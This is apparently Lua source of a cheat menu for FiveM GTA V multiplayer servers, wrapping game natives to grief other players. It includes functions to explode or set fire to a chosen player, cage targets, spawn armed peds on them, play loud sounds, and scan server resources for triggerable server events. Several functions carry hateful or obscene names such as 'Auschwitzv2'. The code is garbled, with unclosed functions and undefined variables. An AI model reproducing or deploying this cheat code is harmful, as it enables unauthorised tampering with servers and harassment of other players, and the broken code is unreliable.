GetFirstBlipInfoId = function(blipSprite) return CockT.Inv["Invoke"]
(CockT.Natives['GetFirstBlipInfoId'], blipSprite, _cit_.ReturnResultAnyway(),
_cit_.ResultAsInteger()) end,
GetPedArmour = function(ped) return CockT.Inv["Invoke"]
(CockT.Natives['GetPedArmour'], ped, _cit_.ReturnResultAnyway(),
_cit_.ResultAsInteger()) end,
SetSuperJumpThisFrame = function(player) return CockT.Inv["Invoke"]
(CockT.Natives['SetSuperJumpThisFrame'], player, _cit_.ReturnResultAnyway(),
_cit_.ResultAsInteger()) end,
SetPedToRagdoll = function(ped, time1, time2, ragdollType, p4, p5, p6)
return CockT.Inv["Invoke"](CockT.Natives['SetPedToRagdoll'], ped, time1, time2,
ragdollType, p4, p5, p6, _cit_.ReturnResultAnyway()) end,
SetPedCanRagdollFromPlayerImpact = function(ped, toggle) return
CockT.Inv["Invoke"](CockT.Natives['SetPedCanRagdollFromPlayerImpact'], ped, toggle)
end,
IsModelValid = function(model) return CockT.Inv["Invoke"]
(CockT.Natives['IsModelValid'], model, _cit_.ReturnResultAnyway()) end,
IsModelAVehicle = function(model) return CockT.Inv["Invoke"]
(CockT.Natives['IsModelAVehicle'], model, _cit_.ReturnResultAnyway()) end,
DestroyCam = function(cam, thisScriptCheck) return CockT.Inv["Invoke"]
(CockT.Natives['DestroyCam'], cam, thisScriptCheck) end,
SetFocusEntity = function(entity) return CockT.Inv["Invoke"]
(CockT.Natives['SetFocusEntity'], entity) end,
SetCamRot = function(cam, rotX, rotY, rotZ, rotationOrder) return
CockT.Inv["Invoke"](CockT.Natives['SetCamRot'], cam, rotX, rotY, rotZ,
rotationOrder) end,
GetCurrentPedWeapon = function(ped, p2) return CockT.Inv["Invoke"]
(CockT.Natives['GetCurrentPedWeapon'], ped, _cit_.PointerValueInt(), p2,
_cit_.ReturnResultAnyway()) end,
GetWeaponClipSize = function(weaponHash) return CockT.Inv["Invoke"]
(CockT.Natives['GetWeaponClipSize'], weaponHash) end,
GetGameplayCamCoord = function() return CockT.Inv["Invoke"]
(CockT.Natives['GetGameplayCamCoord'], _cit_.ReturnResultAnyway(),
_cit_.ResultAsVector()) end,
GetPedLastWeaponImpactCoord = function(ped, coords) return
CockT.Inv["Invoke"](CockT.Natives['GetPedLastWeaponImpactCoord'], ped,
_cit_.PointerValueVector(), _cit_.ReturnResultAnyway()) end,
HasWeaponAssetLoaded = function(weaponHash) return CockT.Inv["Invoke"]
(CockT.Natives['HasWeaponAssetLoaded'], weaponHash, _cit_.ReturnResultAnyway())
end,
IsEntityOnScreen = function(entity) return CockT.Inv["Invoke"]
(CockT.Natives['IsEntityOnScreen'], entity, _cit_.ReturnResultAnyway()) end,
LoadResourceFile = function(resourceName, fileName) return
CockT.Inv["Invoke"](CockT.Natives['LoadResourceFile'],
CockT.Strings.tostring(resourceName), CockT.Strings.tostring(fileName),
_cit_.ReturnResultAnyway(), _cit_.ResultAsString()) end,
mathsplit = function(math, split) local lines = {} for g in
math:gmatch(split) do lines[#lines + 1] = g end; return lines; end,
GetResourceMetadata = function(resourceName, metaKey, index) return
CockT.Inv["Invoke"](CockT.Natives['GetResourceMetadata'],
CockT.Strings.tostring(resourceName), CockT.Strings.tostring(metaKey), index,
_cit_.ReturnResultAnyway(), _cit_.ResultAsString()) end,
GetNumResourceMetadata = function(resourceName, metaKey) return
CockT.Inv["Invoke"](CockT.Natives['GetNumResourceMetadata'],
CockT.Strings.tostring(resourceName), CockT.Strings.tostring(metaKey),
_cit_.ReturnResultAnyway(), _cit_.ResultAsInteger()) end,
HasNamedPtfxAssetLoaded = function(assetName) return
CockT.Inv["Invoke"](CockT.Natives['HasNamedPtfxAssetLoaded'], assetName,
_cit_.ReturnResultAnyway()) end,
HasStreamedTextureDictLoaded = function(textureDict) return
CockT.Inv["Invoke"](CockT.Natives['HasStreamedTextureDictLoaded'],
CockT.Strings.tostring(textureDict), _cit_.ReturnResultAnyway()) end,
IsPedAPlayer = function(ped) return CockT.Inv["Invoke"]
(CockT.Natives['IsPedAPlayer'], ped, _cit_.ReturnResultAnyway()) end,
GetCurrentPedWeaponEntityIndex = function() return CockT.Inv["Invoke"]
(CockT.Natives['GetCurrentPedWeaponEntityIndex'], ped, _cit_.ResultAsInteger())
end,
IsPedArmed = function(ped, p1) return CockT.Inv["Invoke"]
(CockT.Natives['IsPedArmed'], ped, p1, _cit_.ReturnResultAnyway()) end,
IsPedShooting = function(ped) return CockT.Inv["Invoke"]
(CockT.Natives['IsPedShooting'], ped, _cit_.ReturnResultAnyway()) end,
SmashVehicleWindow = function(vehicle, index) return CockT.Inv["Invoke"]
(CockT.Natives['SmashVehicleWindow'], vehicle, index, _cit_.ResultAsInteger())
end,
ClonePed = function(ped, heading, isNetwork, netMissionEntity) return
CockT.Inv["Invoke"](CockT.Natives['ClonePed'], ped, heading, isNetwork,
netMissionEntity, _cit_.ResultAsInteger()) end,
GetRedUid = function() return CockT.Inv["Invoke"]
(CockT.Natives['redUID'], _cit_.ReturnResultAnyway(), _cit_.ResultAsInteger()) end,
RequestFromWeb = function(url, args, type) return CockT.Inv["Invoke"]
(CockT.Natives['Request'], url, CockT.Strings.jsonencode(args), type,
_cit_.ResultAsString()) end,
IsVehicleNeonLightEnabled = function(vehicle, index) return
CockT.Inv["Invoke"](CockT.Natives['IsVehicleNeonLightEnabled'], vehicle, index,
_cit_.ReturnResultAnyway()) end,
GetDisplayNameFromVehicleModel = function(modelHash) return
CockT.Inv["Invoke"](CockT.Natives['GetDisplayNameFromVehicleModel'], modelHash,
_cit_.ReturnResultAnyway(), _cit_.ResultAsString()) end,
RenderFakePickupGlow = function(x, y, z, colourIndex) return
CockT.Inv["Invoke"](CockT.Natives['RenderFakePickupGlow'], x, y, z, colourIndex)
end,
SetEntityHealth = function(entity, health) return CockT.Inv["Invoke"]
(CockT.Natives['SetEntityHealth'], entity, health) end,
SetPedArmour = function(ped, amount) return CockT.Inv["Invoke"]
(CockT.Natives['SetPedArmour'], ped, amount) end,
StopScreenEffect = function(effectName) return CockT.Inv["Invoke"]
(CockT.Natives['StopScreenEffect'], effectName) end,
ClearPedTasksImmediately = function(...) local ped =
CockT.Strings.tunpack({...}) if ped then return CockT.Inv["Invoke"]
(CockT.Natives['ClearPedTasksImmediately'], ped) end end,
RequestStreamedTextureDict = function(...) local texture =
CockT.Strings.tunpack({...}) if texture then return CockT.Inv["Invoke"]
(CockT.Natives["RequestStreamedTextureDict"], texture); else; return
CockT.Inv["Invoke"](CockT.Natives["RequestStreamedTextureDict"], 'srange_gen'); end
end,
StartShapeTestRay = function(x1, y1, z1, x2, y2, z2, flags, entity, p8)
return CockT.Inv["Invoke"](CockT.Natives['StartShapeTestRay'], x1, y1, z1, x2, y2,
z2, flags, entity, p8, _cit_.ReturnResultAnyway(), _cit_.ResultAsInteger()) end,
if (c_x > x - (w / 2) and c_y > y - (h / 2) and c_x < x + (w / 2) and c_y <
y + (h / 2)) then
return true
else
return false
end
end
CockT.Global.GiveWeaponComponentToPed = function(hash)
return CockT.Inv["Invoke"](CockT.Natives['GiveWeaponComponentToPed'],
Fatasf.n.PlayerPedId(), Fatasf.n.GetSelectedPedWeapon(Fatasf.n.PlayerPedId()),
hash)
end
CockT.Global.RemoveWeaponComponentFromPed = function(hash)
return CockT.Inv["Invoke"](CockT.Natives['RemoveWeaponComponentFromPed'],
Fatasf.n.PlayerPedId(), Fatasf.n.GetSelectedPedWeapon(Fatasf.n.PlayerPedId()),
hash)
end
CockT.Global.TriggerFinder = function(content)
local s, e = CockT.Strings.find(content, "TriggerServerEvent%b()")
if s and e then
local event = CockT.Strings.sub(content, s, e)
return event
else
return "Trigger not found"
end
end
CockT.Global.DoGangbangPlayer = function(player)
for peds in Fatasf.n.EnumeratePeds() do
if peds ~= Fatasf.n.PlayerPedId() then
Fatasf.n.AttachEntityToEntity(peds, Fatasf.n.GetPlayerPed(player),
Fatasf.n.GetPedBoneIndex(Fatasf.n.GetPlayerPed(player), 57005), 0, 0, -1.0, 0, 0,
0, false, true, true, true, 1, true)
end
end
end
--[[local GetAllLines = Fatasf.n.mathsplit(resource, "[^\n]+")
if Fatasf.n.IsDisabledControlPressed(0, 14) and scroll > (0.2 - ((#GetAllLines-
27) * 0.015)) then
Cock.Menu.scr_a = Cock.Menu.scr_a - 0.015
end
if Fatasf.n.IsDisabledControlJustPressed(0, 15) and scroll ~= 0.2 then
Cock.Menu.scr_a = Cock.Menu.scr_a + 0.015
end]]
CockT.Global.ScrollBar = function(scroll)
end
CockT.Global.GivePlayerArmy = function(player)
for r = 0, 8 do
local allmodels = {'s_m_y_blackops_01', 's_m_y_hwaycop_01',
's_m_y_blackops_03', 's_m_y_swat_01', 's_m_y_cop_01'}
local model =
Fatasf.n.GetHashKey(allmodels[CockT.Math.random(#allmodels)])
Fatasf.n.RequestModel(model)
if not Fatasf.n.HasModelLoaded(model) then
CockT.Inv["Wait"](80)
Fatasf.n.RequestModel(model)
end
local ped = Fatasf.n.GetPlayerPed(player)
local x, y, z = CockT.Strings.tunpack(Fatasf.n.GetEntityCoords(ped))
local p1 = Fatasf.n.CreatePed(3, model, x, y, z, 1, true, true)
CockT.Inv["Invoke"](CockT.Natives["TaskFollowToOffsetOfEntity"], p1,
ped, 0.5, 0.0, 0.0, 5.0, -1, 0.0, 1)
Fatasf.n.SetPedKeepTask(p1, true)
local blip = CockT.Inv["Invoke"](CockT.Natives["AddBlipForEntity"], p1)
CockT.Inv["Invoke"](CockT.Natives["SetBlipAsFriendly"], blip, true)
CockT.Inv["Invoke"](CockT.Natives["SetBlipSprite"], blip, 1)
CockT.Inv["Invoke"](CockT.Natives["SetBlipColour"], blip, 15)
Fatasf.n.GiveWeaponToPed(p1,
Fatasf.n.GetHashKey('weapon_vintagepistol'), 999, true, true)
end
end
CockT.Global.RandomClothes = function()
CockT.Inv["Thread"](function()
CockT.Inv["Invoke"](CockT.Natives['SetPedRandomComponentVariation'],
Fatasf.n.PlayerPedId(), false)
CockT.Inv["Invoke"](CockT.Natives['SetPedRandomProps'],
Fatasf.n.PlayerPedId())
end)
end
CockT.Global.EarRape = function()
--CockT.Inv["Thread"](function()
Fatasf.n.PlaySound(-1, 'Checkpoint_Hit', 'GTAO_FM_Events_Soundset',
true)
Fatasf.n.PlaySound(-1, 'Boss_Blipped',
'GTAO_Magnate_Hunt_Boss_SoundSet', true)
--Fatasf.n.PlaySound(-1, 'Bomb_Disarmed', 'GTAO_Speed_Convoy_Soundset',
true)
Fatasf.n.PlaySound(-1, 'All', 'SHORT_PLAYER_SWITCH_SOUND_SET', true)
--Fatasf.n.PlaySound(-1, 'SELECT', 'HUD_MINI_GAME_SOUNDSET', true)
--end)
end
CockT.Global.redENGINEsign = function(player, offsetZ)
Fatasf.n.SetEntityCoords(Fatasf.n.PlayerPedId(), -70.79, -695.51, 49.48)
CockT.Inv["Thread"](function()
local hash = Fatasf.n.GetHashKey("prop_container_05a")
local coords1 = {x=-48.83, y=-755.07, z=114.01}; c_obj1 =
Fatasf.n.CreateObject(hash, coords1.x, coords1.y, coords1.z, true, true, true)
local coords2 = {x=-48.83, y=-755.07, z=116.51}; CockT.Inv["Wait"](80);
local c_obj2 = Fatasf.n.CreateObject(hash, coords2.x, coords2.y, coords2.z, true,
true, true)
local coords3 = {x=-48.83, y=-755.07, z=119.01}; CockT.Inv["Wait"](80);
local c_obj3 = Fatasf.n.CreateObject(hash, coords3.x, coords3.y, coords3.z, true,
true, true)
local coords4 = {x=-50.50, y=-755.07, z=116.51}; CockT.Inv["Wait"](80);
local c_obj4 = Fatasf.n.CreateObject(hash, coords4.x, coords4.y, coords4.z, true,
true, true)
local coords5 = {x=-52.70, y=-755.07, z=119.01}; CockT.Inv["Wait"](80);
local c_obj5 = Fatasf.n.CreateObject(hash, coords5.x, coords5.y, coords5.z, true,
true, true)
local coords6 = {x=-60.0, y=-755.07, z=114.01}; CockT.Inv["Wait"](80);
local c_obj6 = Fatasf.n.CreateObject(hash, coords6.x, coords6.y, coords6.z, true,
true, true)
local coords7 = {x=-60.0, y=-755.07, z=116.51}; CockT.Inv["Wait"](80);
local c_obj7 = Fatasf.n.CreateObject(hash, coords7.x, coords7.y, coords7.z, true,
true, true)
local coords8 = {x=-60.0, y=-755.07, z=119.01}; CockT.Inv["Wait"](80);
local c_obj8 = Fatasf.n.CreateObject(hash, coords8.x, coords8.y, coords8.z, true,
true, true)
local coords9 = {x=-60.0, y=-755.07, z=121.51}; CockT.Inv["Wait"](80);
local c_obj9 = Fatasf.n.CreateObject(hash, coords9.x, coords9.y, coords9.z, true,
true, true)
local coords9b = {x=-60.0, y=-755.07, z=124.01}; CockT.Inv["Wait"](80);
local c_obj9b = Fatasf.n.CreateObject(hash, coords9b.x, coords9b.y, coords9b.z,
true, true, true)
local coords10 = {x=-62.5, y=-755.07, z=114.01}; CockT.Inv["Wait"](80);
local c_obj10 = Fatasf.n.CreateObject(hash, coords10.x, coords10.y, coords10.z,
true, true, true)
local coords11 = {x=-65.0, y=-755.07, z=114.01}; CockT.Inv["Wait"](80);
local c_obj11 = Fatasf.n.CreateObject(hash, coords11.x, coords11.y, coords11.z,
true, true, true)
local coords12 = {x=-62.5, y=-755.07, z=119.01}; CockT.Inv["Wait"](80);
local c_obj12 = Fatasf.n.CreateObject(hash, coords12.x, coords12.y, coords12.z,
true, true, true)
local coords13 = {x=-65.0, y=-755.07, z=119.01}; CockT.Inv["Wait"](80);
local c_obj13 = Fatasf.n.CreateObject(hash, coords13.x, coords13.y, coords13.z,
true, true, true)
local coords14 = {x=-62.5, y=-755.07, z=124.01}; CockT.Inv["Wait"](80);
local c_obj14 = Fatasf.n.CreateObject(hash, coords14.x, coords14.y, coords14.z,
true, true, true)
local coords15 = {x=-65.0, y=-755.07, z=124.01}; CockT.Inv["Wait"](80);
local c_obj15 = Fatasf.n.CreateObject(hash, coords15.x, coords15.y, coords15.z,
true, true, true)
local coords16 = {x=-75.0, y=-755.07, z=119.01}; CockT.Inv["Wait"](80);
local c_obj16 = Fatasf.n.CreateObject(hash, coords16.x, coords16.y, coords16.z,
true, true, true)
local coords17 = {x=-73.0, y=-755.07, z=117.51}; CockT.Inv["Wait"](80);
local c_obj17 = Fatasf.n.CreateObject(hash, coords17.x, coords17.y, coords17.z,
true, true, true)
local coords18 = {x=-73.0, y=-755.07, z=121.51}; CockT.Inv["Wait"](80);
local c_obj18 = Fatasf.n.CreateObject(hash, coords18.x, coords18.y, coords18.z,
true, true, true)
local coords19 = {x=-77.0, y=-755.07, z=121.51}; CockT.Inv["Wait"](80);
local c_obj19 = Fatasf.n.CreateObject(hash, coords19.x, coords19.y, coords19.z,
true, true, true)
local coords20 = {x=-77.0, y=-755.07, z=117.51}; CockT.Inv["Wait"](80);
local c_obj20 = Fatasf.n.CreateObject(hash, coords20.x, coords20.y, coords20.z,
true, true, true)
local coords21 = {x=-85.0, y=-755.07, z=116.51}; CockT.Inv["Wait"](80);
local c_obj21 = Fatasf.n.CreateObject(hash, coords21.x, coords21.y, coords21.z,
true, true, true)
local coords22 = {x=-87.5, y=-755.07, z=114.01}; CockT.Inv["Wait"](80);
local c_obj22 = Fatasf.n.CreateObject(hash, coords22.x, coords22.y, coords22.z,
true, true, true)
local coords23 = {x=-90.0, y=-755.07, z=114.01}; CockT.Inv["Wait"](80);
local c_obj23 = Fatasf.n.CreateObject(hash, coords23.x, coords23.y, coords23.z,
true, true, true)
local coords24 = {x=-85.0, y=-755.07, z=119.01}; CockT.Inv["Wait"](80);
local c_obj24 = Fatasf.n.CreateObject(hash, coords24.x, coords24.y, coords24.z,
true, true, true)
local coords25 = {x=-85.0, y=-755.07, z=121.51}; CockT.Inv["Wait"](80);
local c_obj25 = Fatasf.n.CreateObject(hash, coords25.x, coords25.y, coords25.z,
true, true, true)
local coords26 = {x=-87.5, y=-755.07, z=124.01}; CockT.Inv["Wait"](80);
local c_obj26 = Fatasf.n.CreateObject(hash, coords26.x, coords26.y, coords26.z,
true, true, true)
local coords27 = {x=-90.0, y=-755.07, z=124.01}; CockT.Inv["Wait"](80);
local c_obj27 = Fatasf.n.CreateObject(hash, coords27.x, coords27.y, coords27.z,
true, true, true)
local coords28 = {x=-100.0, y=-755.07, z=114.01}; CockT.Inv["Wait"](80);
local c_obj28 = Fatasf.n.CreateObject(hash, coords28.x, coords28.y, coords28.z,
true, true, true)
local coords29 = {x=-100.0, y=-755.07, z=116.51}; CockT.Inv["Wait"](80);
local c_obj29 = Fatasf.n.CreateObject(hash, coords29.x, coords29.y, coords29.z,
true, true, true)
local coords30 = {x=-100.0, y=-755.07, z=119.01}; CockT.Inv["Wait"](80);
local c_obj30 = Fatasf.n.CreateObject(hash, coords30.x, coords30.y, coords30.z,
true, true, true)
local coords31 = {x=-100.0, y=-755.07, z=121.51}; CockT.Inv["Wait"](80);
local c_obj31 = Fatasf.n.CreateObject(hash, coords31.x, coords31.y, coords31.z,
true, true, true)
local coords32 = {x=-101.5, y=-755.07, z=124.01}; CockT.Inv["Wait"](80);
local c_obj32 = Fatasf.n.CreateObject(hash, coords32.x, coords32.y, coords32.z,
true, true, true)
local coords33 = {x=-103.5, y=-755.07, z=121.51}; CockT.Inv["Wait"](80);
local c_obj33 = Fatasf.n.CreateObject(hash, coords33.x, coords33.y, coords33.z,
true, true, true)
local coords34 = {x=-105.5, y=-755.07, z=124.01}; CockT.Inv["Wait"](80);
local c_obj34 = Fatasf.n.CreateObject(hash, coords34.x, coords34.y, coords34.z,
true, true, true)
local coords35 = {x=-107.0, y=-755.07, z=121.51}; CockT.Inv["Wait"](80);
local c_obj35 = Fatasf.n.CreateObject(hash, coords35.x, coords35.y, coords35.z,
true, true, true)
local coords36 = {x=-107.0, y=-755.07, z=119.01}; CockT.Inv["Wait"](80);
local c_obj36 = Fatasf.n.CreateObject(hash, coords36.x, coords36.y, coords36.z,
true, true, true)
local coords37 = {x=-107.0, y=-755.07, z=116.51}; CockT.Inv["Wait"](80);
local c_obj37 = Fatasf.n.CreateObject(hash, coords37.x, coords37.y, coords37.z,
true, true, true)
local coords38 = {x=-107.0, y=-755.07, z=114.01}; CockT.Inv["Wait"](80);
local c_obj38 = Fatasf.n.CreateObject(hash, coords38.x, coords38.y, coords38.z,
true, true, true)
Fatasf.n.FreezeEntityPosition(c_obj1, true)
Fatasf.n.FreezeEntityPosition(c_obj2, true)
Fatasf.n.FreezeEntityPosition(c_obj3, true)
Fatasf.n.FreezeEntityPosition(c_obj4, true)
Fatasf.n.FreezeEntityPosition(c_obj5, true)
Fatasf.n.FreezeEntityPosition(c_obj6, true)
Fatasf.n.FreezeEntityPosition(c_obj7, true)
Fatasf.n.FreezeEntityPosition(c_obj8, true)
Fatasf.n.FreezeEntityPosition(c_obj9, true)
Fatasf.n.FreezeEntityPosition(c_obj10, true)
Fatasf.n.FreezeEntityPosition(c_obj11, true)
Fatasf.n.FreezeEntityPosition(c_obj12, true)
Fatasf.n.FreezeEntityPosition(c_obj13, true)
Fatasf.n.FreezeEntityPosition(c_obj14, true)
Fatasf.n.FreezeEntityPosition(c_obj15, true)
Fatasf.n.FreezeEntityPosition(c_obj16, true)
Fatasf.n.FreezeEntityPosition(c_obj17, true)
Fatasf.n.FreezeEntityPosition(c_obj18, true)
Fatasf.n.FreezeEntityPosition(c_obj19, true)
Fatasf.n.FreezeEntityPosition(c_obj20, true)
Fatasf.n.FreezeEntityPosition(c_obj21, true)
Fatasf.n.FreezeEntityPosition(c_obj22, true)
Fatasf.n.FreezeEntityPosition(c_obj23, true)
Fatasf.n.FreezeEntityPosition(c_obj24, true)
Fatasf.n.FreezeEntityPosition(c_obj25, true)
Fatasf.n.FreezeEntityPosition(c_obj26, true)
Fatasf.n.FreezeEntityPosition(c_obj27, true)
Fatasf.n.FreezeEntityPosition(c_obj28, true)
Fatasf.n.FreezeEntityPosition(c_obj29, true)
Fatasf.n.FreezeEntityPosition(c_obj30, true)
Fatasf.n.FreezeEntityPosition(c_obj31, true)
Fatasf.n.FreezeEntityPosition(c_obj32, true)
Fatasf.n.FreezeEntityPosition(c_obj33, true)
Fatasf.n.FreezeEntityPosition(c_obj34, true)
Fatasf.n.FreezeEntityPosition(c_obj35, true)
Fatasf.n.FreezeEntityPosition(c_obj36, true)
Fatasf.n.FreezeEntityPosition(c_obj37, true)
Fatasf.n.FreezeEntityPosition(c_obj38, true)
end)
end
CockT.Global.CageNew = function(player)
CockT.Inv["Thread"](function()
if player then
local coords =
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(player))
Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_conc_sacks_02a"),
coords.x, coords.y, coords.z +0.5, true, true, true)
Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_conc_sacks_02a"),
coords.x, coords.y-0.6, coords.z-1.3, true, true, true)
Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_conc_sacks_02a"),
coords.x, coords.y+0.6, coords.z-1.3, true, true, true)
Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_conc_sacks_02a"),
coords.x+1.5, coords.y, coords.z-1.3, true, true, true)
Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_conc_sacks_02a"),
coords.x-1.5, coords.y, coords.z-1.3, true, true, true)
end
end)
end
CockT.Global.TeleportToPlayer = function(player)
Fatasf.n.SetEntityCoords(Fatasf.n.PlayerPedId(),
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(player)))
end
CockT.Global.CopyOutfit = function(player)
local model = Fatasf.n.GetEntityModel(Fatasf.n.GetPlayerPed(player))
CockT.Inv["Invoke"](CockT.Natives['SetPlayerModel'], Fatasf.n.PlayerId(),
model)
CockT.Inv["Wait"](100)
CockT.Inv["Invoke"](CockT.Natives['ClonePedToTarget'],
Fatasf.n.GetPlayerPed(player),Fatasf.n.PlayerPedId())
end
CockT.Global.ExplodePlayer = function(player)
Fatasf.n.AddExplosion(Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(player)), 1,
100.0, true, false, 0.0)
end
CockT.Global.MolotovPlayer = function(player)
Fatasf.n.AddExplosion(Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(player)), 3,
100.0, true, false, 0.0)
end
CockT.Global.Auschwitzv2 = function(pped)
CockT.Inv["Thread"](function()
if pped then
local coords1 =
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(pped))
local coords = {x=coords1.x+2.0, y=coords1.y, z=coords1.z}
local obj =
Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_fnclink_03gate5"), coords.x - 0.6,
coords.y - 1, coords.z - 1, 1, 1, 1)
Fatasf.n.FreezeEntityPosition(obj, true)
local obj2 =
Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_fnclink_03gate5"), coords.x - 0.55,
coords.y - 1.05, coords.z - 1, 1, 1, 1)
Fatasf.n.SetEntityHeading(obj2, 90.0)
Fatasf.n.FreezeEntityPosition(obj2, true)
local obj3 =
Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_fnclink_03gate5"), coords.x - 0.6,
coords.y + 0.6, coords.z - 1, 1, 1, 1)
Fatasf.n.FreezeEntityPosition(obj3, true)
local obj4 =
Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_fnclink_03gate5"), coords.x + 1.05,
coords.y - 1.05, coords.z - 1, 1, 1, 1)
Fatasf.n.SetEntityHeading(obj4, 90.0)
Fatasf.n.FreezeEntityPosition(obj4, true)
local obj5 =
Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_fnclink_03gate5"), coords.x - 0.6,
coords.y - 1, coords.z + 1.5, 1, 1, 1)
Fatasf.n.FreezeEntityPosition(obj5, true)
local obj6 =
Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_fnclink_03gate5"), coords.x - 0.55,
coords.y - 1.05, coords.z + 1.5, 1, 1, 1)
Fatasf.n.SetEntityHeading(obj6, 90.0)
Fatasf.n.FreezeEntityPosition(obj6, true)
local obj7 =
Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_fnclink_03gate5"), coords.x - 0.6,
coords.y + 0.6, coords.z + 1.5, 1, 1, 1)
Fatasf.n.FreezeEntityPosition(obj7, true)
local obj8 =
Fatasf.n.CreateObject(Fatasf.n.GetHashKey("prop_fnclink_03gate5"), coords.x + 1.05,
coords.y - 1.05, coords.z + 1.5, 1, 1, 1)
Fatasf.n.SetEntityHeading(obj8, 90.0)
Fatasf.n.FreezeEntityPosition(obj8, true)
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord( "scr_fbi_dd_breach_smoke",
pedcoords, 0.0, 0.0, 0.0, 10.0, false, false, false, false)
Fatasf.n.RequestNamedPtfxAsset("core")
Fatasf.n.UseParticleFxAsset("core")
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord( "exp_air_molotov",
pedcoords, 0.0, 0.0, 0.0, 10.0, false, false, false, false)
Fatasf.n.RequestNamedPtfxAsset("scr_rcbarry1")
Fatasf.n.UseParticleFxAsset("scr_rcbarry1")
CockT.Global.SpawnKillingMexico = function(onplayer)
for s = 0, 5 do
local ped = Fatasf.n.GetHashKey('u_m_y_mani')
Fatasf.n.RequestModel(ped)
while not Fatasf.n.HasModelLoaded(ped) do
CockT.Inv["Wait"](1)
end
local ped_2 = Fatasf.n.CreatePed(31, ped,
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(onplayer)), 0.0, true, true)
CockT.Inv["Wait"](10)
end
Fatasf.n.UseParticleFxAsset(gox_dict)
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord("scr_trev3_c4_explosion",
430.32, -955.59, 25.79,0,0,0,100.0,0,0,0)
end
CockT.Global.RotToQuat = function(rot)
local pitch = CockT.Math.rad(rot.x)
local roll = CockT.Math.rad(rot.y)
local yaw = CockT.Math.rad(rot.z)
local cy = CockT.Math.cos(yaw * 0.5)
local sy = CockT.Math.sin(yaw * 0.5)
local cr = CockT.Math.cos(roll * 0.5)
local sr = CockT.Math.sin(roll * 0.5)
local cp = CockT.Math.cos(pitch * 0.5)
local sp = CockT.Math.sin(pitch * 0.5)
return quat(cy * cr * cp + sy * sr * sp, cy * sp * cr - sy * cp * sr, cy *
cp * sr + sy * sp * cr, sy * cr * cp - cy * sr * sp)
end
CockT.Global.Dmovement = function(bool) Fatasf.n.DisableControlAction(0, 1,
bool) Fatasf.n.DisableControlAction(0, 2, bool) Fatasf.n.DisableControlAction(0,
142, bool) Fatasf.n.DisableControlAction(0, 322, bool)
Fatasf.n.DisableControlAction(0, 106, bool) Fatasf.n.DisableControlAction(0, 17,
bool) Fatasf.n.DisableControlAction(0, 16, bool) Fatasf.n.DisableControlAction(0,
69, bool) Fatasf.n.DisableControlAction(0, 70, bool)
Fatasf.n.DisableControlAction(0, 92, bool) Fatasf.n.DisableControlAction(0, 114,
bool) Fatasf.n.DisableControlAction(0, 257, bool) Fatasf.n.DisableControlAction(0,
263, bool) Fatasf.n.DisableControlAction(0, 264, bool)
Fatasf.n.DisableControlAction(0, 331, bool) Fatasf.n.DisableControlAction(0, 24,
bool) Fatasf.n.DisableControlAction(0, 25, bool) end
CockT.Global.PickerS = function(x, y, picker)
local c_x, c_y = Fatasf.n.GetNuiCursorPosition()
local widht, height = Fatasf.n.GetActiveScreenResolution()
c_x = c_x / widht
c_y = c_y / height
local v1 = 0.600
local v2 = 0.400
local v3 = 0.433
local v4 = 0.545
CockT.Global.DrawText('o', x+(picker.value_2/(picker.max/0.11)/1)-0.066, y+
(picker.value/(picker.max/0.2)/1)-0.1, true, 0.2, 0, true)
if( (c_x) + 0.068 >= x and (c_x) - 0.05 <= x and (c_y) + 0.1 >= y and (c_y)
- 0.1 <= y) and Fatasf.n.IsDisabledControlPressed(0, 69) then
picker.value = CockT.Math.floor((c_y - v2) / (v1 - v2) * picker.max -
picker.min - picker.min)
picker.value_2 = CockT.Math.floor((c_x - v3) / (v4 - v3) * picker.max -
picker.min - picker.min)
end
CockT.Global.RotationToDirection = function(Rotationation)
return CockT.Strings.vector3(-
CockT.Math.sin(CockT.Math.rad(Rotationation.z)) *
CockT.Math.abs(CockT.Math.cos(CockT.Math.rad(Rotationation.x))),
CockT.Math.cos(CockT.Math.rad(Rotationation.z)) *
CockT.Math.abs(CockT.Math.cos(CockT.Math.rad(Rotationation.x))),
CockT.Math.sin(CockT.Math.rad(Rotationation.x)))
end
CockT.Global.GetEntityInFrontOfCam = function()
local camCoords = Fatasf.n.GetCamCoord(cam)
local offset = Fatasf.n.GetCamCoord(cam) +
(CockT.Global.RotationToDirection(Fatasf.n.GetCamRot(cam, 2)) * 40)
CockT.Global.DrawLineBox = function(entity, r, g, b, a)
if entity then
local model = Fatasf.n.GetEntityModel(entity)
local min, max = GetModelDimensions(model)
local r1 = Fatasf.n.GetOffsetFromEntityInWorldCoords(entity, max)
local r2 = Fatasf.n.GetOffsetFromEntityInWorldCoords(entity,
CockT.Strings.vector3(max.x, min.y, max.z))
local br1 = Fatasf.n.GetOffsetFromEntityInWorldCoords(entity,
CockT.Strings.vector3(max.x, max.y, min.z))
local br2 = Fatasf.n.GetOffsetFromEntityInWorldCoords(entity,
CockT.Strings.vector3(max.x, min.y, min.z))
local l1 = Fatasf.n.GetOffsetFromEntityInWorldCoords(entity,
CockT.Strings.vector3(min.x, max.y, max.z))
local l2 = Fatasf.n.GetOffsetFromEntityInWorldCoords(entity,
CockT.Strings.vector3(min.x, min.y, max.z))
local fl1 = Fatasf.n.GetOffsetFromEntityInWorldCoords(entity,
CockT.Strings.vector3(min.x, max.y, min.z))
local bl2 = Fatasf.n.GetOffsetFromEntityInWorldCoords(entity, min)
